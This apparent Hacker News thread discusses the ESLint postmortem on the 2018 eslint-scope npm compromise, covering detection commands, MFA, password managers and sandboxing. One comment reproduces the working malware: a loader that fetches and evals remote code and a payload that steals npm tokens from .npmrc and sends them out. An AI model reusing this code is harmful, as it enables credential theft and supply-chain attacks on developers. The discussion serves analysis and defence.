Postmortem for Malicious Packages Published on July 12th, 2018

https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

by ingve • 8 years ago

329 155 8 years ago

brlewis2• 8 years ago

I don't usually repost the same comment from one story to the next, but this might be helpful...

Here's how I checked my own machine, though I was already confident I wouldn't be affected:

  find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;

If you use yarn exclusively, this will also work:

  yarn cache list | grep eslint-scope-3.7.2

sbr464• 8 years ago

Thanks for adding those commands.

paulirwin• 8 years ago

Until all packages published since this incident are reviewed thoroughly, you cannot be confident that you aren't affected if you did an npm install today at all. Other npm package authors likely had their credentials stolen, which could mean that their packages had malicious updates too, and so on down the chain. And just because this package "only" exfiltrated npm tokens, that doesn't mean the next infections affecting the packages from the compromised tokens have the same script.

brlewis2• 8 years ago

Not having done an npm install today at all is why I'm confident.

EDIT: For those who have done an npm install today, I think those commands are still useful and catch the most probable way one could be affected.

spencerwgreene• 8 years ago

More broadly, I think this point touches on the idea that you cannot trust code that you did not write yourself. Ken Thompson's Turing Award speech talks about this (https://www.archive.ece.cmu.edu/~ganger/712.fall02/papers/p7...).

bigiain4• 8 years ago

I'm even more cynical than your are here.

I think the likelihood of this being the first time a credential-stuffing attack has worked against an npm account is vanishingly small.

While the timeline given makes the response time sound good - it still took a user notification 90 minutes after the first signs they've found so far of the attack to start kicking in the response.

I wonder how many npm packages are widely used but under _way_ less scrutiny than eslint?

Memories of the leftpad.js debacle make me suspect the attacker was not nearly as evil as possible - if they'd chosen a package that lives way down in the dependancy tree of a bunch of popular stuff, but which itself is unlikely to get much scrutiny, this attack might have slid under the radar for a lot longer. (And I've no confidence that this hasn't already happened, possibly multiple times, and this was just a copycat attacker who got "greedy" and foolishly dropped his attack payload onto a popular and heavily scrutinised package...)

11235813213455• 8 years ago

    find ~ -path '*/eslint-scope/package.json' -exec jq -r 'input_filename+": "+.version' {} +

or just

    jq -r 'input_filename+": "+.version' ~/**/**/eslint-scope/package.json

thestoicattack• 8 years ago

As an aside, doing

    find -exec [...] +

(note + instead of \;) will exec one grep process for as many arguments as possible, instead of one grep process per file.

thephyber4• 8 years ago

Note that `eslint-scope` and `eslint-config-eslint` were both affected[1], so duplicate this search for both modules.

[1] https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...

ttty• 8 years ago

# Tech summary:

- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your ".npmrc" file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: eslint-scope@3.7.2 and eslint-config-eslint@5.0.2.

- The ".npmrc" (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.

- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.

- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package eslint-scope@3.7.2 has been removed, but some pc could get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.

- Be careful if you cache npm packages on your server (nexus or similar).

# All npm packages that directly depends on "eslint-scope"

  - "webpack" (9k dependents)
  - "eslint" (6k dependents)
  - "babel-eslint" (5k dependents)
  - "vue-eslint-parser"
  - "atom-eslint-parser"
  - "eslint-web"
  - "react-input-select"
  - "react-native-handcheque-engine"
  - "react-redux-demo1"
  - "a_react_reflux_demo"
  - "eslint-nullish-coalescing"
  - "@mattduffield/eslint4b"
  - "miguelcostero-ng2-toasty"
  - "@sailshq/eslint"
  - "eslint4b"
  - "@helpscout/zero"

Be careful there are more packages that depends on these as well.

# What to do now?

Assume your ".npmrc" file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.

# How it happened:

"The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account."

# How has been discovered

At 12:17 UK time on 12 July 2018 https://github.com/pronebird opened an issue https://github.com/eslint/eslint-scope/issues/39 with this log error:

  [2/3] ⠠ eslint-scope
  error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
    Exit code: 1
  Command: node ./lib/build.js
  Arguments:
    Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
  Output:
    undefined:30
  https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
      ^^^^^^
  
      SyntaxError: Unexpected end of input
  at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
  at emitOne (events.js:116:13)
  at IncomingMessage.emit (events.js:211:7)
  at IncomingMessage.Readable.read (_stream_readable.js:475:10)
  at flow (_stream_readable.js:846:34)
  at resume_ (_stream_readable.js:828:3)
  at _combinedTickCallback (internal/process/next_tick.js:138:11)

So looks like if there was no error we would not discover it so quickly. So we were lucky!

#Technical details:

node_module code for eslint-scope-3.7.2 https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2... (still the original code):

  try {
    var https = require('https');
    https.get({
      'hostname': 'pastebin.com',
      path: '/raw/XLeVP82h',
      headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
        Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
      }
    }, (r) => {
      r.setEncoding('utf8');
      r.on('data', (c) => {
        eval(c);
      });
      r.on('error', () => {
      });
  
    }).on('error', () => {
    });
  } catch (e) {
  }

Pastebin script http://pastebin.com/raw/XLeVP82h (Now removed):

  try {
    var path = require('path');
    var fs = require('fs');
    var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
    var content = "nofile";
  
    if (fs.existsSync(npmrc)) {
  
      content = fs.readFileSync(npmrc, {encoding: 'utf8'});
      content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
  
      var https1 = require('https');
      https1.get({
        hostname: 'sstatic1.histats.com',
        path: '/0.gif?4103075&101',
        method: 'GET',
        headers: {Referer: 'http://1.a/' + content}
      }, () => {
      }).on("error", () => {
      });
      https1.get({
        hostname: 'c.statcounter.com',
        path: '/11760461/0/7b5b9d71/1/',
        method: 'GET',
        headers: {Referer: 'http://2.b/' + content}
      }, () => {
      }).on("error", () => {
      });
  
    }
  } catch (e) {
  }

"As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header."

Source: https://github.com/eslint/eslint-scope/issues/39

# How to mitigate front-end code from malicious npm/yarn packages

I actually discussed this with my colleagues at work. I think from now on I'll assume that all code is compromised.

One big way to reduce this attack vector is to use content-security-privacy set to sandbox https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can't send it to his server.

Of course he can mess up with your code, but reduces a bit the attack vector. Example: let's say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.

Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm/yarn): https://hackernoon.com/im-harvesting-credit-card-numbers-and...

Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.

# What to do next

Think of more ways to mitigate malicious node_modules and how to handle it.

Even if npm will improve the security, we still can't rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.

# More implications that I can think about (add more please)

Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).

If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That's not enough, the attacker could generate a new route on your website "/your-passwords" and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.

Any other important/private files you have on your pc could have been stolen.

Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I'm not sure if you can update the pastebin contents) and propagate to other servers.

This is just a package we happened to notice, maybe there are more infected packages we don't know about.

throwaway57522• 8 years ago

NPM's not enforcing MFA for committers seems unwise. Also.. the gist seems like this should have been incredibly easy to catch with basic static analysis. The attack wasn't disguised in the slightest.

OskarS• 8 years ago

The most important lessons here is clear: always turn on MFA if you can, but more importantly: use a password manager. The risk from password reuse is just far too great, and there's no other reasonable way to have unique, strong passwords everywhere. In this day and age, it's irresponsible security practice to not take this step, especially if you're a developer with special access.

TheDong2• 8 years ago

Other lessons could be taken from this. For example:

When you build a package management system that has user-configurable exec scripts, run them in a secure sandbox/container by default. If you provide an override, require a user to approve it and show them the command that will be run on their system.

If npm package.json scripts only ran in a lightweight linux container with no access to the filesystem, the mere act of doing an `npm install` could not pwn your box.

Another possible takeaway would be that everyone should use Qubes, or some similar project, such that the machine where they use npm doesn't contain any important credentials, and then all publishing is done in CI or in another qubes vm dedicated to the purpose which publishes a shrinkwrapped artifact rather than installing locally.

mort96• 8 years ago

While it would be nice to be able to run `npm install` fearlessly, how much would it truly help? In almost all cases, the code downloaded from npm will be executed non-sandboxed anyways; that's probably the reason you installed the package after all.

tetha• 8 years ago

You don't even need containers on linux. If SELinux was more accessible, this would be a very cool use case.

You could set the security context of your NPM access credentials to something other than unconfined and ensure that only processes with a specific security label can access files tagged with that security context. These security labels in term are kernel controlled. So at that point, a malicious install script needs to escalate to root in order to steal your credentials.

It's kinda sad how such a powerful and rather simple tool is so hard to use.

rebuilder• 8 years ago

Regarding password managers, I feel uncomfortable, especially when it comes to high-value targets like developers of important software.

If you're a potential target for malicious actors, is it a good idea to have a single point of failure for your logins? I certainly see the point about the realities of password reuse, but can we quantify the risks of one approach vs the other somehow?

TheDong2• 8 years ago

fwiw a password manager doesn't have to be such a single point of failure.

I use `password-store`, which means to get a password I just need access to my gpg key.

My gpg key lives on 3 yubikeys and in 1 bankvault as a paper backup.

If my main yubikey is destroyed or I somehow forget the pin to it, I just need to go to the bank vault.

If I wanted to err on the side of being more able to access it, I could leave an unencrypted copy of the gpg master key with a trusted friend.

Since there are many password managers with different models, I think it's difficult to quantify exactly the failure mode of each.

However, the reality is almost all security experts recommend password managers, and almost everyone who uses 1password for a while doesn't want to go back.. so clearly there's something to it.

The only people I see doubting are people who have uneasy feelings but haven't really written down their threat model nor consulted security professionals.

thephyber4• 8 years ago

is it a good idea to have a single point of failure for your logins?

Just like logging into to 2 SaaSes from the same computer... at which point a keylogger/camera/microphone on/near that computer becomes the single point of failure.

There is a point at which too much paranoia paralyzes a person into inaction. Criticizing people for not defending against nation-state level attacks (eg. Password Manager attacks) when we can't even defend ourselves against the neighbor's son (credential stuffing without 2FA) seems like putting the cart before the horse.

numbsafari• 8 years ago

I thought the most important lesson here is that npm is a horrible single-point of failure with a terrible security track record and obtuse leadership, but has somehow become the backbone of an entire ecosystem within our industry.

drb912• 8 years ago

That’s one takeaway. There isn’t an alternative, though, so this isn’t actionable.

pier25• 8 years ago

Specially maintainers of popular NPM packages.

eslint-scope has 500K downloads every day for god's sake.

tptacek• 8 years ago

Important detail: these packages are dependencies of a lot of things, most notably Webpack, so you can be exposed even if you haven't done anything specific with eslint.

xkcd-sucks• 8 years ago

It kinda sucks that NPM auth tokens never expire

thenewwazoo11• 8 years ago

The npm team's lack of responsible action here is astonishing, if not surprising. If a token for these very popular packages was compromised, then every user of those packages could conceivably have had their tokens compromised, not just those that have it as a downstream dependency. That means every single package published between the vulnerable packages and the mass token invalidation is suspect and should be unpublished until it can be audited. npm's position that "a very small number" of packages were compromised is minimizing a potentially massive issue. Their promise to "[conduct] a deep audit of all the packages in the Registry" both misses the point and is ineffective.

I have come to expect no less from npm, and by extension, nodejs.

Prefinem2• 8 years ago

NPM revoked all tokens. How is that irresponsible?

https://status.npmjs.org/incidents/dn7c1fgrr7ng

Benjammer• 8 years ago

A malicious change could have already been published somewhere else, couldn't it have? And we just haven't found it yet?

mirashii6• 8 years ago

For one, they've marked the issue as resolved before they've completed any forensic analysis to discover if additional compromised packages were uploaded with stolen credentials during the window in which they weren't revoked.

This gives the false sense that its safe to install packages again.

thenewwazoo11• 8 years ago

* eslint gets compromised, and 3.7.2 is published

* eslint user FooCorp also gets compromised, and a similarly-malicious version of foolib-js gets published that includes the _same code_ to steal tokens

* npm invalidates all tokens

* you decide to use foolib-js, and your newly-minted token is now compromised

npm are fucking this up, and royally.

_bxg13• 8 years ago

  "npm has revoked all access tokens issued before 2018-07-12
  12:30 UTC. As a result, all access tokens compromised by
  this attack should no longer be usable."

thenewwazoo11• 8 years ago

"access tokens compromised by this attack should no longer be useable", but tokens compromised by other compromised packages published during the intervening period will still compromise you.

_greim_5• 8 years ago

That means every single package published between the vulnerable packages and the mass token invalidation is suspect and should be unpublished until it can be audited.

I wonder how many packages in fact got published during that nine-hour time window. Does anyone know what kind of number that would be?

thenewwazoo11• 8 years ago

I'm currently dumping the npm db right now to figure that out.

eslint-scope 3.7.2 was published on 2018-07-12T10:40:00.478Z eslint-config-eslint 5.0.2 was published on 2018-07-12T09:49:24.957Z tokens were invalidated at 2018-07-12 12:30 UTC

watson• 8 years ago

If I understand the npm incident report correctly, the answer is none:

We determined that access tokens for approximately 4,500 accounts could have been obtained before we acted to close this vulnerability. However, we have not found evidence that any tokens were actually obtained or used to access any npmjs.com account during this window.

Source: https://blog.npmjs.org/post/175824896885/incident-report-npm...

thenewwazoo11• 8 years ago

You can see a list of all npm packages uploaded between the time that the first compromised eslint package was uploaded and the token invalidation time here:

https://gist.github.com/thenewwazoo/0306aa06aafe7807497ed1db...

thenewwazoo11• 8 years ago

To follow up, I've downloaded all of the versions indicated here and none include the strings `raw/XLeVP82h`, `sstatic1.histats.com`, nor `statcounter`, and none of the included `build.js` files contain `eval`. Not an exhaustive test.

thenewwazoo11• 8 years ago

Further follow up: I've updated the gist to include all packages between the time at which the first compromised package was uploaded and the time at which the keys were invalidated (which was later than the invalidation threshold). I'm working on auditing the larger (~2000) list of packages now.

thenewwazoo11• 8 years ago

Final follow-up: a more-exhaustive search also returned no evals in build.js files, nor any obviously-suspicious strings.

meowface4• 8 years ago

Before the incident: The attacker presumably found the maintainer’s reused email and password in a third-party breach and used them to log in to the maintainer’s npm account.

Password managers and MFA, people! Please use them. There's never a reason to not use a password manager for every website, application, and service that requires credentials. And MFA isn't everywhere, but for places that support it: use it. Ideally non-phone based if that's an option, to prevent risk of phone number/voicemail-related compromises.

kevin_thibedeau• 8 years ago

There's never a reason to not use a password manager

Sage advice. Right until the day that there is a major exploit of a popular password manager.

ClashTheBunny• 8 years ago

The surface area of attack is still lower. You need one more thing to be broken before this situation happens. If a hacker needed 3 things in place to own you, they now need 4 things. And a password manager exploit is a big 4th thing.

meowface4• 8 years ago

If you fear a browser extension-based vulnerability (like an XSS vulnerability that allows an attacker to send all of a visitor's passwords to their server), use a native application like KeePass. You lose some convenience, but it's just a few extra steps when logging in and registering.

It's certainly not impossible that some major flaw will eventually be found in KeePass, but it's stood the test of time so far, and it's hard to imagine how it could be mass exploited considering it basically just reads and writes a local AES-encrypted file. Even if someone finds something that lets you completely bypass the encryption (which is very unlikely), they'd still need to gain access to your hard drive (or wherever you're storing the file).

But I'd also say the net security benefit of a lot more people using something like LastPass or 1Password would still outweigh the damage of a future vulnerability.

Either way, there is really no excuse for password reuse in 2018, especially when your password for managing your super popular software package running on an enormous amount of devices is the same as the password to your Harry Potter fanfic forum account or whatever.

_bxg13• 8 years ago

As long as they encrypt the stored passwords and you don't use your master password anywhere else, there's not much that can go wrong.

zalebz• 8 years ago

I use KeePass and have a local kbdx file for this reason - imo LastPass and the like are a huge target. This does require a lot more work since you have to manage keeping a file in sync on your laptop/phone/device and literally cannot get a password without one of those near you. (I have obscene overkill settings for encryption and key transformations in case I lose a device and someone tries to brute-force).

one thing that is without dispute is that a password manager will not reuse or slightly vary the same password which is what human beings pretty much always do.

also some popular ones have integrations for reissuing credentials for major sites. in theory if there were some huge compromise you change your master key and reissue as many pw automatically as possible. then focus on the ones in the list that you know have your credit card saved or are essential for other reasons (npm credentials). you also literally have a list to go down at the point anyway. what is the alternative scenario if your 'same password everywhere' pw is compromised ... try to remember which websites you use and might be the biggest issue and literally manually change every single one?

kakarot• 8 years ago

My password manager is accessed through an SELinux enforced VM without networking. AFAIK this is as secure as I'm going to get (debating the tradeoffs between a VM and airgapped machine) without using Qubes.

But at least, in the event of an exploit, the VM is still without networking.

Avamander• 8 years ago

The alternative here is password reuse for most people. That's so much worse. Lesser "evil" I'd say.

JetSpiegel• 8 years ago

Well, on the worst case scenario, you get not worse than before. So this seems a net win.

firethief• 8 years ago

I use `pass`, which is basically gpg+git+xsel. My user account could be compromised, but it won't be through my password manager.

outworlder• 8 years ago

Password managers and MFA

You conveniently forgot about the MFA part. The attacker will still need the other factor.

thephyber4• 8 years ago

Password managers and MFA, people!

You're preaching to the choir on HN.

This needs to be posted on LinkedIn, Facebook, the *Grams, Imgur, Pinterest, etc.

brianzelip• 8 years ago

Do you think the ESLint maintainer does not visit HN?

meowface4• 8 years ago

You're preaching to the choir on HN.

I would've thought so, but clearly one of the maintainers of eslint-scope didn't follow the advice.

Arubis• 8 years ago

That's how you get the choir to sing.

exabrial4• 8 years ago

Slightly off topic, but this could happen in any language, not just node. I saw Maven does not check pgp signatures.

So, I just finished a Maven plugin that verifies each artifact in the build has been signed by a pinned pgp key. This would make it now difficult for an attacker to hijack another artifact's namespace.

https://exabrial.github.io/pgp-signature-check-plugin/

I tried to make the code AS straightforward as possible, using dependency injection to make testing easy. My Hope Is you start using this in your open source projects and at your job

danjoc2• 8 years ago

org.simplify4u.plugins:pgpverify-maven-plugin works well for me. But here we are. There's multiple ways to verify package authenticity with maven. There isn't even signatures in NPM. NPM is belligerently against end user security. They won't even accept a pull request if you do the work for them.

https://github.com/npm/npm/pull/4016

exabrial4• 8 years ago

Yep, I used that plugin. I made my file format compatible with his intentionally.

_bxg13• 8 years ago

Until a couple years ago Maven didn't even use SSL... The Node ecosystem has its fair share of issues but I think it takes a disproportionate amount of flak.

https://www.infoq.com/news/2014/08/Maven-SSL-Default

mirashii6• 8 years ago

It isn't disproportionate given the yearly advances in understanding and awareness of security issues, or disproportionate given their size and the number of security issues that they have already experienced.

Alternatively, we as a community can continue to call it a toy that nobody should trust or use for anything serious, and then the flak isn't disproportionate since you shouldn't have been using it for anything important anways, but you can't have it both ways.

exabrial4• 8 years ago

One further note... The version of Sonatype Nexus that Maven Central is running does not support signing with a subkey, and does not support ECDSA. Unfortunately, the software that needs to be fixed is proprietary.

If someone has a contact at Sonatype, I'd love to talk to them about fixing this.

mschuster91• 8 years ago

The source code is at https://github.com/sonatype/nexus-public.

Not sure if Maven Central is running on the closed-source version, though.

If someone has a contact at Sonatype, I'd love to talk to them about fixing this.

Contact them by email, they're quite responsive.

curiousgal• 8 years ago

I think it's worse here because every damn node project installs 100s if not 1000s of npm packages.

vmchale3• 8 years ago

Right but node projects tend to use ten billion trivial packages to do anything whatsoever (no standard library!) so the problem does get exacerbated. Moreover, npm has been told multiple times how to avoid this and they did not care.

KenanSulayman• 8 years ago

Why doesn’t npm extremely restrict public packages?

For instance, file operations could be limited to the root of the project and not access .git; it must not spawn sub-processes and http connections are limited to non-internal IPs.

I’m aware that most of these defenses could be defeated easily by using native modules et al. — but this needs to be dealt with ASAP. There’s just too many incompetent people in control of this and it’s just a matter of time until a company will pay big for this kind of horrendous engineering mistakes.

(How about an npm module hijacking a Mesos cluster by connecting to a master and deploying a service? We built a PoC of that in a hackathon and it was pretty disturbing how well it worked: running as root on all servers!)

floatboth3• 8 years ago

Because UNIX security model ¯\_(ツ)_/¯ Pretty much every modern programming environment involves running arbitrary third party code as "you", with access to all of ~/ and whatnot.

How would you solve that on a package manager level? Static analysis? It's really difficult to make an analyzer that wouldn't be trivially defeated by obfuscation, and wouldn't at the same time have false positives all the time.

Sandboxing at the language runtime (in this case node) level? Theoretically a nice idea, but difficult to implement securely. Java has been trying. Besides the fact that practically no one uses it to isolate third party libraries in server/desktop apps, there were some serious vulnerabilities: https://www.thezdi.com/blog/2018/4/25/when-java-throws-you-a...

An OS level capability-based security model like Capsicum/CloudABI is a better solution, but again — doesn't fit that well with libraries. In Capsicum, you need a process boundary to isolate code, and that implies IPC, which is a thing developers absolutely love to use all the time… (not).

Here's an awesome research idea that I sadly do not have the time to work on: make a programming environment where all shared libraries are actually servers built as CloudABI executables, library calls are actually some super-fast RPC (with e.g. Cap'n Proto to avoid spending time on serialization, and of course fd passing for capabilities), and everything is handled as transparently as possible.

As a bonus, CloudABI solves the OS portability problem. Extra research idea: merge CloudABI with WebAssembly to solve the CPU portability problem as well. End result: same application runs on Linux/amd64 and NetBSD/toaster128, with secure sandboxing for every third party left-pad module.

paulddraper2• 8 years ago

You don't really need to isolate every library. Really, just every "project" (e.g. I just cloned X from Github).

And that does have process isolation.

ArmandGrillet• 8 years ago

The only recommendation for users is "you should avoid reusing the same password across multiple different sites. A password manager like 1Password or LastPass can help with this."

Seriously? No help to tell me if I have been affected?

If someone here knows a JS linter that does not require npm/yarn, even ten times less powerful than eslint, please share. It's astonishing that linting C++ requires one file, https://github.com/google/styleguide/blob/gh-pages/cpplint/c..., but linting JS requires MBs of dependencies.

zdragnar• 8 years ago

Google's Closure compiler [1] has been around forever (the Java version, anyway). There used to be a separate linter, but now it's wrapped into the compiler using the flag `--jscomp_warnings=lintChecks`

Given the number of other tools in my workflow that are all JS based (webpack, etc.) I don't use it, but I've heard good things from people who have.

[1] https://developers.google.com/closure/compiler/

davidbwire• 8 years ago

Moving forward NPM should require 2-factor authentication for popular packages.

nevir• 8 years ago

Or for publishing all packages

consumer451• 8 years ago

I cannot think of a reasonable argument against this if security is any priority at all at NPM.

algesten• 8 years ago

This seems like a good idea. If a package has more than x downloads or y dependencies, then require 2fa for publishing it.

avodonosov2• 8 years ago

Who was this attacker? I don't believe he is impossible to track down. Have eslint called law enforcement?

rpearl3• 8 years ago

the attacker used generic sites (pastebin, stat counter sites) and there is no reason they did not access them through tor. Why would it be possible to track them down?

avodonosov2• 8 years ago

Ah, stat counter - I've read "he has sent to himself" thought somehow directly.

Yes, not so easy.

floatboth3• 8 years ago

"Security by punishment" is a terrible paradigm that's not Web Scale. The internet is not the physical world — the attackers are probably accessing your stuff via Tor from a public wifi in a country far away.

If someone couldn't do basic things to secure their account, they should take the blame.

benwilber02• 8 years ago

we don't need to victim blame here. we can both practice security best practices and also try to find and prosecute those responsible.

EastSmith• 8 years ago

npm shrinkwrap could have helped here (at least with the spreading).

paulddraper2• 8 years ago

Npm uses a lockfile by default now.

vmchale3• 8 years ago

so now only typing `npm update` will get your data stolen. how innovative.

_greim_5• 8 years ago

Has anyone ever written a static analyzer to audit an npm package? Say I'm looking to add a new npm dependency, and I do my due diligence, pouring over the code, scanning the issues log, etc, and everything looks kosher. But then it would still be nice to run it through some kind automated analyzer, which also recursively scans dependencies. I ask because even simply grepping each file for the string "eval" would have flagged this.

styfle2• 8 years ago

There is a ‘npm audit’ command but that checks for known versions of a package that have a vulnerability so it’s not a static analyzer as far as I know.

_greim_5• 8 years ago

Yeah I am thinking more something like linting+ for packages. And for published code, not code from the git repo.

    % analyze-some-npm-package some-package@2.1.1
    → some-package/foo.js contains a syntax error
    → some-package/bar.js calls eval() on line blah blah
    → sub-dependency@2.3.4 is only 2 hours old

...that sort of thing. I suppose it would be a pretty big undertaking.

greenleafjacob• 8 years ago

I’ve not used it but https://nodesource.com/products/certified-modules

tolmasky• 8 years ago

When we heard about this this morning at RunKit we immediately started writing a script to identify if any other packages had been possibly affected. We're in a pretty unique position since we install every version of every package in a sandbox environment as soon as it is published. The scan is pretty simple (just looking for a few key strings), and designed to catch any pre-discovery propagation. The scan is running as we speak and we've unfortunately found at least one unreported case. Luckily it seems to be a package not in too frequent use, and the way the virus propagated was also pretty bizarre (through `bundledDependencies`).

We've created a GitHub repo to track our progress that you can visit here: https://github.com/runkitdev/eslint-scope-scan

We will immediately file issues on any packages we find the exploit in. We are also open to suggestions to more sophisticated further approaches after this initial scan. Additionally, we are internally working on adding some sanity checks to the installation pipeline that might one day catch this sooner (such as monitoring network requests and file modifications during our sandbox install). Please let us know if you have any other ideas.

thenewwazoo11• 8 years ago

FYI, I've downloaded all package versions uploaded between 2018-07-12T09:49:24.957Z and 2018-07-12T12:30:00Z (first compromised eslint package upload and key invalidation time), and got no hits for your signature strings in them.

rpearl3• 8 years ago

key invalidation time was 2018-07-12 18:42 UTC

How did you produce this list btw?

joneil• 8 years ago

Amazing work! I'll be following along keenly... and glad to know there's an exhaustive approach being taken to figuring out if anything else was affected

mattbierner• 8 years ago

A log of network requests made on install would be a valuable start. Even if it doesn’t reveal anything actively hostile, I imagine there’s plenty of telemetry servers getting pinged and probably some http going on (both of which the package may also do at runtime but that’s a whole other problem)

benwilber02• 8 years ago

I am very surprised they stopped at just grabbing your .npmrc. They could have grabbed basically anything they want like ~/.aws/credentials, your whole .bashrc (which often contains a whole slew of API keys and access tokens), and even your whole ~/.ssh

joeandaverde2• 8 years ago

Clearly more could have been done. It's suspicious that they'd only grab npm tokens. Perhaps the responsible party just wanted to prove a point?

sonnhy• 8 years ago

It looks like a virus that may try to replicate later on. If it passed unnoticed it could have gathered so much npm tokens to actually attack a much larger portion of developers. But nonetheless, starting with eslint should already provide quite a lot of credentials.

pvtmert• 8 years ago

just get known_hosts and id_rsa rule the ~world~ cloud

whatcanthisbee2• 8 years ago

can't nodejs run default as user "node-<project-name>-<username>"? ie. run the process as "node-react-whatcanthisbee"?

(or provide option to do so using "isolated-node" versions/flags/etc)

that way, a lot of malicious stuff can be blocked with unix/linux basic permissions

(though spectre/etc stuff will be much harder to catch...)

jake-low• 8 years ago

I was working on a PR for a Node project when I read about this. My changes added some new dependencies and I wanted to make sure I hadn't pulled in any packages that were updated after this incident began (since the authors of those packages might have had their credentials compromised and used to push malicious updates to their packages).

I wrote a script to extract all of my changed dependencies from package-lock.json and retrieve the publication date of the resolved version from registry.npmjs.org. It's hacky but here's the steps:

First run this pipeline. You can change the first two lines if you're interested in the whole package-lock.json; I was just interested in my changes.

    git diff master -- package-lock.json \
    | grep '+\s*"resolved":' \
    | awk '$2 == "\"resolved\":" {print $3}' \
    | cut -d '"' -f2 \
    | perl -pe "s/\/-\/(?:\\S+-)((?:[0-9]+)(?:\\.[0-9]+)+\\S+)\\.tgz/ \1/" \
    > dep-urls-and-versions.txt

You now have a file which contains on each line a URL, then a space, then a version string. I ran this python script on the file.

import requests

    with open("dep-urls-and-versions.txt", "r") as f:
        for line in f.readlines():
            url, version = line.strip().split(" ")
            res = requests.get(url)
            body = res.json()
            print(body["time"][version], body["name"])

Run it as `python script.py | sort` and you'll get the most recently published packages in your package-lock.json. Just check that the last (bottom-most) timestamp is older than 2018-07-12 10:25 UTC when the first compromised package was published.

Hope that helps someone.

franciscop• 8 years ago

One thing is unclear to me is, how does sending the credentials to statcounter work for the attacker? How would they recover the credentials afterwards? Assuming the statcounter website itself has not turned bad of course.

I can think about two potential ways but I have no idea if it's any of those:

- Very detailed filter to the point of seeing individual requests and so the token in the referrer URL.

- The referrer URL is the one that is actually getting the info, so when statcounter tries to crawl it then it will send the credentials there.

joeandaverde2• 8 years ago

We're lucky this issue was detected because of an error. I would bet this has happened or is happing now without anyone knowing. Javascript is particularly difficult to find malicious code as code can be executed in many forms. As long as eval exists and npm allows for pre/post-install functions and require executes code there's not much we can do except be ignorant to what's actually running every time we use node.

millstone• 8 years ago

The node development environment is bananas.

On the web, executing third-party controlled JS code is considered a profound (XSS) vulnerability, despite browsers being equipped with the strongest sandboxing. Tiny cracks are leveraged into click fraud, cryptocurrency mining, and other nefarious activities.

Meanwhile website build processes indiscriminately pull in random modules and their transitive dependencies. Modules may inadvertently stumble into a core role, like left-pad.

Popular Chrome web extensions get large monetary offers, and npm modules are surely next in line (if it's not already happening).

philliphaydon• 8 years ago

It appears all publishing keys have been revoked? We don't use eslint at work, yet all our publishing keys were revoked.

thermodynthrway• 8 years ago

I don't understand how NPM is such a dumpster fire. Countless other languages use package systems for a decade without constant issues.

I get the feeling pure JS is too dynamic for such a large codebase to be reliable. We switched to Typescript a few years back because of the same issue and I'll never look back.

All our JS/TS projects inevitably end up with rm -rf node_modules as the first build step. This has been a constant since NPM 1.X, and somehow at Node 9.0 it's still needed. I never used another package manager that was so unreliable that you need to delete all your packages just to build.

And the horrific error messages when things get messed up. I would rather debug assembly.

The regular leftpad level circus events are just icing on the cake. Please somebody replace NPM. It's even worse than the constant framework churn

staticassertion• 8 years ago

What part of this attack is npm specific?

What feature of typescript would have prevented this?

vsenko• 8 years ago

What bothers me a lot, is that no one talked about a possible leak of private npm repositories accounts. Keys (along with repository urls) are usually stored in .npmrc along with all other stuff.

The fact that npmjs.com revoked access token has no effect on private repositories access tokens. I would recommend everyone, who uses private npm repositories, to investigate a possibility of credentials leak.

werfen2018712• 8 years ago

Does anyone know if this would also affect desktop/Electron apps that use those packages?

TekMol• 8 years ago

I am not familiar with npm package maintenance. Can somebody explain these two recommendations to me?

    Package maintainers should be careful with using
    any services that auto-merge dependency upgrades.

What is an example of such a service? What is an 'auto-merge' of 'dependency upgrades'?

    Application developers should use a lockfile
    (package-lock.json or yarn.lock) to prevent the
    auto-install of new packages.

What is an auto-install of a new package? What triggers it?

Guillaume86• 8 years ago

I guess there's CI services that pull latest versions of dependencies (in the accepted version range), build, run tests and submit a pull request if everything seems ok.

Edit: actually no I don't know, there would be nothing to submit if no lockfile is used.

alexghr• 8 years ago

So what are you (the ESLint team) going to do to ensure this is not going to happen again in the future?

At the very least you should require that all ESLint members with rights to publish ESLint packages have 2FA enabled on their npm account.

Postmortem for Malicious Packages Published on July 12th, 2018

Related Stories